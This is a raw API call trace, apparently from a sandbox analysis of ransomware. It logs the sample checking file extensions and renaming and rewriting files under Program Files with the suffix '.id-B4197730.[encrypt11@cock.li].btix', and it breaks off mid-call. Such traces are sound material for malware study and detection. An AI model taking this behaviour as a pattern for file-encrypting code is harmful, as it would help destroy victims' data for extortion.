lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.100] lstrlenW (lpString=".rar") returned 4 [0128.100] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.100] lstrlenW (lpString=".bz2") returned 4 [0128.100] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.100] lstrlenW (lpString=".7z") returned 3 [0128.100] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0128.100] lstrlenW (lpString=".dbf") returned 4 [0128.100] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0128.100] lstrlenW (lpString=".1cd") returned 4 [0128.100] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0128.100] lstrlenW (lpString=".jpg") returned 4 [0128.100] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0128.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0128.100] lstrlenW (lpString=".doc") returned 4 [0128.100] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.100] lstrlenW (lpString=".docx") returned 5 [0128.100] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0128.100] lstrlenW (lpString=".pdf") returned 4 [0128.100] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.100] lstrlenW (lpString=".xls") returned 4 [0128.100] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.100] lstrlenW (lpString=".xlsx") returned 5 [0128.100] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0128.100] lstrlenW (lpString=".ppt") returned 4 [0128.100] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0128.100] lstrlenW (lpString=".zip") returned 4 [0128.100] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.100] lstrlenW (lpString=".rar") returned 4 [0128.101] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.101] lstrlenW (lpString=".bz2") returned 4 [0128.101] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.101] lstrlenW (lpString=".7z") returned 3 [0128.101] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0128.101] lstrlenW (lpString=".dbf") returned 4 [0128.101] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0128.101] lstrlenW (lpString=".1cd") returned 4 [0128.101] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0128.101] lstrlenW (lpString=".jpg") returned 4 [0128.101] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.101] lstrcmpiW (lpString1=".dgml", lpString2=".btix") returned 1 [0128.101] lstrlenW (lpString="chstic.dgml") returned 11 [0128.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0128.103] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=763) returned 1 [0128.103] CloseHandle (hObject=0x38c) returned 1 [0128.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml")) returned 0x20 [0128.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76 [0128.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76 [0128.103] lstrlenW (lpString=".doc") returned 4 [0128.103] lstrcmpiW (lpString1=".doc", lpString2="dgml") returned -1 [0128.103] lstrlenW (lpString=".docx") returned 5 [0128.103] lstrcmpiW (lpString1=".docx", lpString2=".dgml") returned 1 [0128.103] lstrlenW (lpString=".pdf") returned 4 [0128.103] lstrcmpiW (lpString1=".pdf", lpString2="dgml") returned -1 [0128.103] lstrlenW (lpString=".xls") returned 4 [0128.103] lstrcmpiW (lpString1=".xls", lpString2="dgml") returned -1 [0128.103] lstrlenW (lpString=".xlsx") returned 5 [0128.103] lstrcmpiW (lpString1=".xlsx", lpString2=".dgml") returned 1 [0128.103] lstrlenW (lpString=".ppt") returned 4 [0128.104] lstrcmpiW (lpString1=".ppt", lpString2="dgml") returned -1 [0128.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76 [0128.104] lstrlenW (lpString=".zip") returned 4 [0128.104] lstrcmpiW (lpString1=".zip", lpString2="dgml") returned -1 [0128.104] lstrlenW (lpString=".rar") returned 4 [0128.104] lstrcmpiW (lpString1=".rar", lpString2="dgml") returned -1 [0128.104] lstrlenW (lpString=".bz2") returned 4 [0128.104] lstrcmpiW (lpString1=".bz2", lpString2="dgml") returned -1 [0128.104] lstrlenW (lpString=".7z") returned 3 [0128.104] lstrcmpiW (lpString1=".7z", lpString2="gml") returned -1 [0128.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76 [0128.104] lstrlenW (lpString=".dbf") returned 4 [0128.104] lstrcmpiW (lpString1=".dbf", lpString2="dgml") returned -1 [0128.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76 [0128.104] lstrlenW (lpString=".1cd") returned 4 [0128.104] lstrcmpiW (lpString1=".1cd", lpString2="dgml") returned -1 [0128.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76 [0128.104] lstrlenW (lpString=".jpg") returned 4 [0128.104] lstrcmpiW (lpString1=".jpg", lpString2="dgml") returned -1 [0128.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76 [0128.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76 [0128.104] lstrlenW (lpString=".doc") returned 4 [0128.104] lstrcmpiW (lpString1=".doc", lpString2="dgml") returned -1 [0128.104] lstrlenW (lpString=".docx") returned 5 [0128.104] lstrcmpiW (lpString1=".docx", lpString2=".dgml") returned 1 [0128.104] lstrlenW (lpString=".pdf") returned 4 [0128.104] lstrcmpiW (lpString1=".pdf", lpString2="dgml") returned -1 [0128.104] lstrlenW (lpString=".xls") returned 4 [0128.104] lstrcmpiW (lpString1=".xls", lpString2="dgml") returned -1 [0128.104] lstrlenW (lpString=".xlsx") returned 5 [0128.104] lstrcmpiW (lpString1=".xlsx", lpString2=".dgml") returned 1 [0128.104] lstrlenW (lpString=".ppt") returned 4 [0128.104] lstrcmpiW (lpString1=".ppt", lpString2="dgml") returned -1 [0128.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76 [0128.104] lstrlenW (lpString=".zip") returned 4 [0128.104] lstrcmpiW (lpString1=".zip", lpString2="dgml") returned -1 [0128.105] lstrlenW (lpString=".rar") returned 4 [0128.105] lstrcmpiW (lpString1=".rar", lpString2="dgml") returned -1 [0128.105] lstrlenW (lpString=".bz2") returned 4 [0128.105] lstrcmpiW (lpString1=".bz2", lpString2="dgml") returned -1 [0128.105] lstrlenW (lpString=".7z") returned 3 [0128.105] lstrcmpiW (lpString1=".7z", lpString2="gml") returned -1 [0128.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76 [0128.105] lstrlenW (lpString=".dbf") returned 4 [0128.105] lstrcmpiW (lpString1=".dbf", lpString2="dgml") returned -1 [0128.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76 [0128.105] lstrlenW (lpString=".1cd") returned 4 [0128.105] lstrcmpiW (lpString1=".1cd", lpString2="dgml") returned -1 [0128.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76 [0128.105] lstrlenW (lpString=".jpg") returned 4 [0128.105] lstrcmpiW (lpString1=".jpg", lpString2="dgml") returned -1 [0128.105] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0128.105] lstrlenW (lpString="micaut.dll") returned 10 [0128.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0128.108] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1700352) returned 1 [0128.108] CloseHandle (hObject=0x38c) returned 1 [0128.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0128.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0128.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0128.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0128.109] lstrlenW (lpString=".doc") returned 4 [0128.110] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.110] lstrlenW (lpString=".docx") returned 5 [0128.110] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0128.110] lstrlenW (lpString=".pdf") returned 4 [0128.110] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.110] lstrlenW (lpString=".xls") returned 4 [0128.110] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.110] lstrlenW (lpString=".xlsx") returned 5 [0128.110] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0128.110] lstrlenW (lpString=".ppt") returned 4 [0128.110] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0128.110] lstrlenW (lpString=".zip") returned 4 [0128.110] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.110] lstrlenW (lpString=".rar") returned 4 [0128.110] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.110] lstrlenW (lpString=".bz2") returned 4 [0128.110] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.110] lstrlenW (lpString=".7z") returned 3 [0128.110] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0128.110] lstrlenW (lpString=".dbf") returned 4 [0128.110] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0128.110] lstrlenW (lpString=".1cd") returned 4 [0128.110] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0128.110] lstrlenW (lpString=".jpg") returned 4 [0128.110] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0128.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0128.110] lstrlenW (lpString=".doc") returned 4 [0128.110] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.111] lstrlenW (lpString=".docx") returned 5 [0128.111] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0128.111] lstrlenW (lpString=".pdf") returned 4 [0128.111] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.111] lstrlenW (lpString=".xls") returned 4 [0128.111] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.111] lstrlenW (lpString=".xlsx") returned 5 [0128.111] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0128.111] lstrlenW (lpString=".ppt") returned 4 [0128.111] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0128.111] lstrlenW (lpString=".zip") returned 4 [0128.111] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.111] lstrlenW (lpString=".rar") returned 4 [0128.111] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.111] lstrlenW (lpString=".bz2") returned 4 [0128.111] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.111] lstrlenW (lpString=".7z") returned 3 [0128.111] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0128.111] lstrlenW (lpString=".dbf") returned 4 [0128.111] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0128.111] lstrlenW (lpString=".1cd") returned 4 [0128.111] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0128.111] lstrlenW (lpString=".jpg") returned 4 [0128.111] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.111] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0128.111] lstrlenW (lpString="mshwgst.dll") returned 11 [0128.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0128.116] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=51200) returned 1 [0128.116] CloseHandle (hObject=0x38c) returned 1 [0128.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0128.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0128.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0128.118] lstrlenW (lpString=".doc") returned 4 [0128.118] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.118] lstrlenW (lpString=".docx") returned 5 [0128.118] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0128.118] lstrlenW (lpString=".pdf") returned 4 [0128.118] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.119] lstrlenW (lpString=".xls") returned 4 [0128.119] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.119] lstrlenW (lpString=".xlsx") returned 5 [0128.119] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0128.119] lstrlenW (lpString=".ppt") returned 4 [0128.119] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0128.119] lstrlenW (lpString=".zip") returned 4 [0128.119] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.119] lstrlenW (lpString=".rar") returned 4 [0128.119] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.119] lstrlenW (lpString=".bz2") returned 4 [0128.119] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.119] lstrlenW (lpString=".7z") returned 3 [0128.119] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0128.119] lstrlenW (lpString=".dbf") returned 4 [0128.119] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0128.119] lstrlenW (lpString=".1cd") returned 4 [0128.119] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0128.119] lstrlenW (lpString=".jpg") returned 4 [0128.119] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0128.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0128.119] lstrlenW (lpString=".doc") returned 4 [0128.119] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.119] lstrlenW (lpString=".docx") returned 5 [0128.119] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0128.119] lstrlenW (lpString=".pdf") returned 4 [0128.119] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.119] lstrlenW (lpString=".xls") returned 4 [0128.119] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.119] lstrlenW (lpString=".xlsx") returned 5 [0128.119] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0128.119] lstrlenW (lpString=".ppt") returned 4 [0128.120] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0128.120] lstrlenW (lpString=".zip") returned 4 [0128.120] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.120] lstrlenW (lpString=".rar") returned 4 [0128.120] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.120] lstrlenW (lpString=".bz2") returned 4 [0128.120] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.120] lstrlenW (lpString=".7z") returned 3 [0128.120] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0128.120] lstrlenW (lpString=".dbf") returned 4 [0128.120] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0128.120] lstrlenW (lpString=".1cd") returned 4 [0128.120] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0128.120] lstrlenW (lpString=".jpg") returned 4 [0128.120] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.120] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0128.120] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0128.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0128.121] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10752) returned 1 [0128.121] CloseHandle (hObject=0x38c) returned 1 [0128.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0128.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0128.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0128.121] lstrlenW (lpString=".doc") returned 4 [0128.121] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0128.121] lstrlenW (lpString=".docx") returned 5 [0128.122] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0128.122] lstrlenW (lpString=".pdf") returned 4 [0128.122] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0128.122] lstrlenW (lpString=".xls") returned 4 [0128.122] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0128.122] lstrlenW (lpString=".xlsx") returned 5 [0128.122] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0128.122] lstrlenW (lpString=".ppt") returned 4 [0128.122] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0128.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0128.122] lstrlenW (lpString=".zip") returned 4 [0128.122] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0128.122] lstrlenW (lpString=".rar") returned 4 [0128.122] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0128.122] lstrlenW (lpString=".bz2") returned 4 [0128.122] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0128.122] lstrlenW (lpString=".7z") returned 3 [0128.122] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0128.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0128.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0128.195] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x4425680, Size=0x2000) returned 0x4425680 [0128.195] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0128.850] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=8809536) returned 1 [0128.851] CloseHandle (hObject=0x3c0) returned 1 [0128.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0128.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0128.862] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0128.862] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0128.863] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0128.864] GetLastError () returned 0x0 [0128.864] ReadFile (in: hFile=0x3c0, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xcac, lpOverlapped=0x0) returned 1 [0128.979] WriteFile (in: hFile=0x3c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: 